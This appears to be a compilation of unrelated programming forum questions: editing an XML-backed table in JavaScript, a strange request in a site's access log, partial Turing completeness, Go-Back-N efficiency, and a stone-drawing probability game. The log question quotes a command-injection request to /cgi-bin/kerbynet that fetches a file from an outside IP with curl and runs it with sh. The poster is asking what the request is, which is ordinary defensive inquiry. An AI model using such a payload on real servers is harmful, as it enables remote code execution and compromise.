deleting/editing xml using php

function myFunction(xml) { var i; var xmlDoc = xml.responseXML; var table="<td style=’height:50px’; colspan=’3′>All OrderCustomerShip toDateTotal"; var x = xmlDoc.getElementsByTagName("olist"); for (i = 0; i <x.length; i++) { table += "<input type=’checkbox’ name=’choose[]’ value=’x[‘+i+’]’/>"+ x[i].getElementsByTagName("number")[0].childNodes[0].nodeValue + "" + x[i].getElementsByTagName("customer")[0].childNodes[0].nodeValue + ""+ x[i].getElementsByTagName("shipping")[0].childNodes[0].nodeValue + "" + x[i].getElementsByTagName("time")[0].childNodes[0].nodeValue + "";
} document.getElementById("tab").innerHTML = table;

}

here is my table which is displayed after being read from the xml file, the user has the choice to edit/delete a row from the table, and the data from the xml file has to be edited/deleted as well. How can I identify the user’s choice from the checkbox and delete the node from the xml file?

Very Strange Access Request to my website

Recently I got a very odd request to my website. This is from the log file:

20.42.89.182 - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-" 20.42.89.182 - - [12/Aug/2020:18:48:13 -0400] "GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0" 302 195 "-" "-" 

It appears to be trying to run some shell commands, including what I believe to be downloading the source of a site with cURL. I tried to visit this URL but it was blocked by my security filter. What is kerbynet? Is this part of cloudflare and can it be used to run shell commands on my website?

It should be noted that I use Cloudflare.

Can partial Turing completeness be quantified as a subset of Turing-computable functions?

Can partial Turing completeness be coherently defined this way:
An an abstract machine or programming language can be construed as Turing complete on its computable subset of Turing-computable functions.

In computability theory, several closely related terms are used to describe the computational power of a computational system (such as an abstract machine or programming language):

Turing completeness A computational system that can compute every Turing-computable function is called Turing-complete (or Turing-powerful). https://en.wikipedia.org/wiki/Turing_completeness

Go-Back-N Protocol not efficient?

Let’s say we have five packets

p1 p2 p3 p4 p5

to be sent sequentially:

and for some reasons, p3 got delayed so it the the last packet to arrive recevier.

so below is the receiving order on the receiver’s end

p1 p2 p4 p5 p3

and according to the Go-Back-N Protocol, the receiver will only send acknowledge of p2 when it receive p5.

then the receiver receives p3 right after p5, and then it sends acknowledge of p3 to the sender.

But there will still be a timeout and the sender still has to re-send p4 and p5,even though the receiver did receive all packets, isn’t this Go-Back-N Protocol really inefficient?

Probability of winning a turn-based game with a random element

I am preparing for a programming exam on probability theory and I stumbled across a question I can’t solve.

Given a bag, which contains some given amount of white stones $ w$ and some given amount of black stones $ b$ , two players take turns drawing stones uniformly at random from the bag. After each player’s turn a stone, chosen uniformly at random, vanishes, and only then does the other player take their turn. If a white stone is drawn, the player, who has drawn it, instantly loses and the game ends. If the bag becomes empty, the player, who played second, wins.

What is the overall probability that the player, who played second, wins?

I assume it’s a dynamic programming question, though I can’t figure out the recursion formula. Any help would be greatly appreciated. 🙂

Example input: $ w$ = 3, $ b$ = 4, then the answer is, I believe, 0.4, which I arrived at after computing by hand all possible ways for the game to go, so not very efficient.